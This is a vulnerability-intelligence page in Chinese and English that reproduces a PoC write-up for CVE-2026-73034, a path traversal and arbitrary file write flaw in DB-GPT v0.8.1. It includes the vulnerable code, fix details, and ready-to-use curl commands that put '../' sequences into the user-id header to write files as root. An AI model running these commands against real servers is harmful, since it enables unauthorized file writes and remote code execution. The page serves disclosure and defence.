🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源Boreas37/CVE-2026-73034-PoC针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-73034 — DB-GPT v0.8.1 Unauthenticated Path Traversal → Arbitrary File Write

**CVSS 9.8 (Critical)** · CWE-22 · [GHSA/Issue #3104](https://github.com/eosphoros-ai/DB-GPT/issues/3104)

## Summary

`POST /api/v1/python/file/upload` in DB-GPT v0.8.1 takes the `user-id` HTTP header and uses it
**raw as a path component**:

```python
upload_dir = os.path.join(base_dir,"python_uploads",
user_id)
os.makedirs(upload_dir,exist_ok=True)
open(file_path,
"wb")
```

There is **no authentication** — if the header is absent the app falls back to `user_id="001"`
with `role="admin"`. Injecting `../` sequences into `user-id` escapes the uploads root and lets an
**unauthenticated remote attacker write arbitrary files anywhere** the container process (root)
can write → direct RCE path (webroot `.py`,cron jobs,`authorized_keys`,
…).

**Affected:** DB-GPT ≤ v0.8.1
**Fixed:** v0.8.2+ — commit `e0c741bd2b5e521b128cffb3f68982dde3f7b359` (adds a `_SAFE_USER_ID_RE`
whitelist `^[A-Za-z0-9_\-]+$`,upload-dir containment checks,
and a TOCTOU symlink re-check).

## Exploit

```bash
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../tmp/pwned" \
  -F "file=@payload.txt;filename=pwned.txt"

# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../root" \
  -F "file=@payload.txt;filename=pwned_root.txt"
```

**Note:** FastAPI maps the `user_id` parameter to the **`user-id`** HTTP header (hyphen,
not
underscore).

## Verification (2026-08-12,Docker lab,ARM64)

|Test |Result ||---|---||Control upload (`user-id: alice`) |✅ `/app/python_uploads/alice/control.txt` ||**Exploit** `user-id: ../../../../tmp/pwned` |✅ **`/tmp/pwned/pwned.txt` WRITTEN (root)** ||**Exploit** `user-id: ../../../../root` |✅ **`/root/pwned_root.txt` WRITTEN** ||Fixed build (e0c741bd) |
✅ HTTP 400 `Invalid user_id: only alphanumeric characters,underscores and hyphens are allowed` |
Full script: `poc_cve-2026-73034.sh` (runs both exploits + in-container verification + fixed-build
comparison).

## References

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73034
- Fix: https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
- Issue: https://github.com/eosphoros-ai/DB-GPT/issues/3104
- Project: https://github.com/eosphoros-ai/DB-GPT

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议：

• 根据漏洞根因编写 Nuclei 检测模板
• 在 WAF/IDS 中配置针对漏洞特征的规则
• 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-16 03:01